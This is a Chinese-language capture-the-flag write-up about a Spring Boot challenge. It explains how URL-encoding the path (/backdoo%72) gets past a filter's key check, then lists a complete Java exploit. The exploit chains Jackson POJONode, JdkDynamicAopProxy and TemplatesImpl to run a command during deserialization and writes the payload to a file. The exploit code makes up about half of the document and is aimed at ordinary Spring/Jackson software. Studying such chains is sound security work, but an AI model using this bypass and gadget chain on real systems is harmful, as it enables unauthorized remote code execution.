CTF-springboot鉴权绕过
省赛中遇到的一道题目
//org.example.babyjava.BabyController.java
package BOOT-INF.classes.org.example.babyjava;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController("/")
public class BabyController {
@RequestMapping({"/"})
public String index() {
return "index";
}
@RequestMapping({"/backdoor"})
public Object backdoor(@RequestBody byte[] bytes) {
try {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
bis.close();
ois.close();
return ois.readObject();
} catch (Exception e) {
return e;
}
}
}
这里主要是控制层 controller
,看到存在俩个路由,一个 /
另外一个是 backdoor
在 backdoor
层存在调用 readObject()
这是一个反序列化的方法,如果之前学过cc链的话可以知道,cc链的漏洞产生的原因就是重写了 readObject()
方法,导致反序列化漏洞产生
因此这道题的反序列化的触发点很明显就是 backdoor路由
的 readObject
方法
然后在org.example.babyjava.BabyFilter.java代码中
//org.example.babyjava.BabyFilter.java
package BOOT-INF.classes.org.example.babyjava;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import org.example.babyjava.Utils;
import org.springframework.stereotype.Component;
@Component
public class BabyFilter implements Filter {
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest)req;
String uri = request.getRequestURI();
if (uri.startsWith("/backdoor")) {
String key = req.getParameter("key");
if (key != null && Utils.getSHA256Hash(key).equals("fd9930dfc6a9fa33973f7a7e1be8c5b21e72cb8e146de44f26ea67fc5672df7f")) {
chain.doFilter((ServletRequest)request, resp);
} else {
resp.getWriter().write("The key is invalid.");
}
return;
}
chain.doFilter((ServletRequest)request, resp);
}
}
看到这里进行了一个鉴权处理,如果路由是 backdoor
并且key值进行SHA256加密的后的值为 fd9930dfc6a9fa33973f7a7e1be8c5b21e72cb8e146de44f26ea67fc5672df7f
的话会走到 chain.doFilter
方法
chain.doFilter
方法可以理解为进行了一个放行的操作,首先请求将先会进入到 Filter
(过滤器)中,然后请求再到 Controller
(控制器)中
因此首先需要绕过上面那个鉴权,如果我们正常传入 /backdoor
路由的话
会直接进入鉴权,需要key值传入并且比较
使用url编码进行绕过对于 /backdoor
的过滤。为什么url编码可以进行绕过呢,接着往下看
打断点进行调试
首先,我们传入的路由会进入到这里
这个的主要作用就是获得url
跟进到 request.getRequestURI()
里,这里就是返回一个字符串,表示请求的 URI 部分,不包括查询参数。
然后代码将进入到 return this.request.getRequestURI();
,然后看到返回的结果为 R( /backdoo%72)
并未对%72进行解url编码的一个操作
接着往下走,可以发现uri的值就是 /backdoo%72
,因此这样便可以绕过对于 /backdoor
的鉴权,从而直接走到 chain.doFilter((ServletRequest)request, resp);
使得filter进行放行,也就是说request.getRequestURI() 来获取请求地址,是编码后的地址,所以会匹配不到。
但是在 controller
会直接进入,这里代码我进行了一个修改,由于不知道为什么使用curl post发送1.ser文件内容,会爆序列化后的请求头错误,所以我在原来的基础上修改了代码,使得直接反序列化生成后的文件1.ser
绕过鉴权后,直接打 jackson链
就行,exp利用成功
exp:
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
public class exp_template {
public static void main(String[] args) throws Exception {
// 1. 动态移除 BaseJsonNode 的 writeReplace 方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
// 2. 创建一个 CtClass 并添加构造器
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode(); // 生成字节码
// 3. 使用 TemplatesImpl 封装字节码
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
// 4. 创建 JdkDynamicAopProxy 并包装 TemplatesImpl
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
// 5. 将 POJONode 包装进 BadAttributeValueExpException
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp, jsonNodes);
// 6. 序列化对象并保存为 1.ser 文件
try (FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream)) {
objectOutputStream.writeObject(exp); // 将对象序列化并写入文件
System.out.println("对象已序列化并保存为 1.ser");
}
}
// 设置对象的字段值
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
参考文章:https://forum.butian.net/share/829